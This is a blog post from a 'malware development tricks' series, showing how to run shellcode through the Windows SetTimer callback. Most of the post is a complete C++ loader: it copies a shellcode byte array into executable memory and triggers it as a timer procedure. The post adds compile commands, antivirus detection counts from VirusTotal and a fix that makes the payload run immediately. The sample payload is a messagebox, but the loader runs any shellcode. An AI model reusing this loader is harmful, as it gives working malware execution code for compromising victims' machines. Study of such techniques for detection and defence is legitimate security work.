Malware development trick - part 31: Run shellcode via SetTimer. Simple C++ example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
This article is the result of my own research into the next interesting trick: run shellcode via SetTimer
function.
SetTimer
The SetTimer
function is a part of the Windows API. It is used to create a timer with a specified time-out value.
Here is its basic syntax:
UINT_PTR SetTimer(
HWND hWnd,
UINT_PTR nIDEvent,
UINT uElapse,
TIMERPROC lpTimerFunc
);
Where:
hWnd
: A handle to the window to be associated with the timer. This window must be owned by the calling thread. If aNULL
value forhWnd
is passed in along with annIDEvent
of an existing timer, that old timer will be replaced by the new one.nIDEvent
: A nonzero timer identifier. If the hWnd parameter isNULL
, and thenIDEvent
does not match an existing timer then it is ignored and a new timer ID is generated. If thehWnd
is notNULL
and the window specified by hWnd already has a timer with the value nIDEvent, then the existing timer is replaced by the new timer. WhenSetTimer
replaces a timer, the timer is reset.uElapse
: The time-out value, in milliseconds.lpTimerFunc
: A pointer to the function to be notified when the time-out value elapses. If this parameter isNULL
, the system posts aWM_TIMER
message to the application queue. This message is processed by the window procedure.
practical example
So, what’s the trick? Just take a look at this (hack.c
):
/*
* hack.cpp - run shellcode via SetTimer. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/06/04/malware-tricks-31.html
*/
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[]) {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
PVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
UINT_PTR dummy = 0;
MSG msg;
SetTimer(NULL, dummy, NULL, (TIMERPROC)mem);
GetMessageA(&msg, NULL, 0, 0);
DispatchMessageA(&msg);
return 0;
}
As you can see, this code seems to attempt to execute shellcode using the SetTimer
Windows API function by providing it a pointer to a function (TIMERPROC)
to be called when the timer expires.
As usually, for simplicity I used meow-meow
messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
And run in our victim’s machine:
.\hack.exe
As you can see, everything is worked perfectly! =^..^=
Let’s go to upload hack.exe
to VirusTotal:
So, 19 of 71 AV engines detect our file as malicious.
But, I think we have an issue in our dirty PoC code.
The SetTimer
function requires the uElapse
parameter to be set. This parameter represents the time-out value, in milliseconds. If it’s set to NULL
or 0
, the function will not set the timer. So, if we want to execute shellcode immediately, we need to set uElapse
to 1
. Something like this:
SetTimer(NULL, dummy, 1, (TIMERPROC)mem); // Set uElapse to 1
while (GetMessageA(&msg, NULL, 0, 0)) { // Using while loop to keep the message pump running
DispatchMessageA(&msg);
}
This code will create a timer that expires almost immediately and calls our shellcode as a callback function. Of course, note that this kind of technique can be detected as malicious by antivirus software due to the anomalous behavior of executing code through a timer callback.
I haven’t seen this trick in the real-life malware and APT attacks yet. I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.
SetTimer
Malware dev tricks. Run shellcode via EnumDesktopsA
Classic DLL injection into the process. Simple C++ malware
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine